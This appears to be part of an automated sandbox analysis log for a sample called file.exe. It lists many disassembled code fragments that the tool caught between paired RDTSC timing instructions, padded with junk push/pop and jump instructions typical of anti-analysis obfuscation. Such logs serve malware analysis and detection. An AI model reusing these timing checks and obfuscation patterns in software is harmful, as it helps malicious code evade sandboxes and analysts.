Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EA618 second address: 3EA63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jbe 00007FDE34C00CD8h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jnp 00007FDE34C00CD6h 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d jno 00007FDE34C00CD6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EED0C second address: 3EED10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EED10 second address: 3EED4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE8h 0x00000007 jmp 00007FDE34C00CE9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EED4A second address: 3EED65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC875h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EED65 second address: 3EED72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FDE34C00CD6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F4233 second address: 3F4238 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F43FB second address: 3F4400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F4400 second address: 3F4406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8166 second address: 3F8178 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CDCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8178 second address: 3F8182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BEE53 second address: 3BEE59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BEE59 second address: 3BEEDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC870h 0x00000008 jo 00007FDE34EAC866h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FDE34EAC868h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edx, esi 0x00000030 mov ecx, dword ptr [ebp+122D1E22h] 0x00000036 lea eax, dword ptr [ebp+1247EC09h] 0x0000003c jmp 00007FDE34EAC878h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FDE34EAC875h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BEEDA second address: 39D329 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDE34C00CE9h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e call dword ptr [ebp+122D1E48h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDE34C00CDDh 0x0000001d jmp 00007FDE34C00CDFh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BEFEA second address: 3BEFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BEFEF second address: 3BF001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE34C00CDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF001 second address: 3BF005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF116 second address: 3BF11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF4CA second address: 3BF4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF4D0 second address: 213D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDE34C00CDAh 0x0000000a popad 0x0000000b nop 0x0000000c movzx edi, di 0x0000000f push dword ptr [ebp+122D079Dh] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FDE34C00CD8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov edi, 6E828172h 0x00000034 call dword ptr [ebp+122D1E63h] 0x0000003a pushad 0x0000003b cmc 0x0000003c xor eax, eax 0x0000003e je 00007FDE34C00CDCh 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 clc 0x00000049 mov dword ptr [ebp+122D2DA3h], eax 0x0000004f cmc 0x00000050 mov esi, 0000003Ch 0x00000055 cld 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a clc 0x0000005b lodsw 0x0000005d cld 0x0000005e add eax, dword ptr [esp+24h] 0x00000062 clc 0x00000063 mov ebx, dword ptr [esp+24h] 0x00000067 pushad 0x00000068 jmp 00007FDE34C00CE7h 0x0000006d sub al, FFFFFF81h 0x00000070 popad 0x00000071 nop 0x00000072 jng 00007FDE34C00CE4h 0x00000078 pushad 0x00000079 jp 00007FDE34C00CD6h 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF69F second address: 3BF6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC876h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC879h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6D5 second address: 3BF6DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF6DF second address: 3BF701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c adc dx, 4311h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF701 second address: 3BF70B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF70B second address: 3BF729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC870h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFEA1 second address: 3BFEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FDE34C00CDCh 0x0000000e jo 00007FDE34C00CD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C0046 second address: 3C004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C004B second address: 3C0091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDE34C00CDDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jns 00007FDE34C00CDEh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FDE34C00CE4h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C0091 second address: 3C0095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C01D5 second address: 3C01DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C01DB second address: 39DD5C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add ecx, 02B5DD1Ah 0x00000011 call dword ptr [ebp+124485EBh] 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FDE34EAC868h 0x0000001f jmp 00007FDE34EAC86Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F84A1 second address: 3F84AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F84AB second address: 3F84C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC874h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F84C3 second address: 3F84E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FDE34C00CEBh 0x00000012 jmp 00007FDE34C00CDFh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8650 second address: 3F8654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8654 second address: 3F865A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F865A second address: 3F8670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC86Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F87CF second address: 3F87D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F87D5 second address: 3F87DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8AB8 second address: 3F8AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE34C00CDCh 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8AD3 second address: 3F8AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDE34EAC866h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8AE2 second address: 3F8AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F8AE8 second address: 3F8AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4001A4 second address: 4001AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4002D7 second address: 4002DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40057C second address: 400596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDE34C00CE4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402BA9 second address: 402BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnc 00007FDE34EAC866h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402BB7 second address: 402BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40773A second address: 407750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FDE34EAC870h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407750 second address: 40777A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDE34C00CD6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FDE34C00CE0h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40777A second address: 407780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407780 second address: 40778C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40778C second address: 407790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407790 second address: 40779C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE34C00CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406A11 second address: 406A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnp 00007FDE34EAC866h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406A34 second address: 406A4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34C00CDAh 0x0000000d je 00007FDE34C00CD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406A4C second address: 406A65 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34EAC86Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406B93 second address: 406B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FDE34C00CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406B9F second address: 406BA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406BA4 second address: 406BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CDFh 0x00000009 pop ebx 0x0000000a jmp 00007FDE34C00CDAh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 pushad 0x00000013 jg 00007FDE34C00CD6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jnl 00007FDE34C00CD6h 0x00000026 jc 00007FDE34C00CD6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407012 second address: 407017 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407181 second address: 407185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40DC68 second address: 40DC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C60B second address: 40C612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C612 second address: 40C631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FDE34EAC880h 0x0000000f jc 00007FDE34EAC86Ch 0x00000015 jno 00007FDE34EAC866h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C631 second address: 40C635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40CBD0 second address: 40CC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC878h 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FDE34EAC86Eh 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40CC02 second address: 40CC0C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE34C00CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40CC0C second address: 40CC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDE34EAC86Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFB5F second address: 3BFB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFB63 second address: 3BFB69 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40CED1 second address: 40CED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D933 second address: 40D940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE34EAC866h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410B89 second address: 410B8E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41052E second address: 410532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410532 second address: 410550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CE8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410550 second address: 410588 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE34EAC868h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC875h 0x00000011 jmp 00007FDE34EAC875h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41082E second address: 410860 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE6h 0x00000007 jmp 00007FDE34C00CE8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410860 second address: 41088F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC877h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FDE34EAC86Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416CE5 second address: 416D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE34C00CE5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416E2A second address: 416E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416E2E second address: 416E4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CE9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416E4D second address: 416E74 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34EAC874h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416E74 second address: 416E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4173C0 second address: 4173E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDE34EAC866h 0x0000000a popad 0x0000000b jng 00007FDE34EAC878h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4176A4 second address: 4176A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417F16 second address: 417F46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC877h 0x0000000d jmp 00007FDE34EAC871h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 417F46 second address: 417F4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418254 second address: 418271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41853A second address: 418544 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418544 second address: 41854A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41854A second address: 418550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
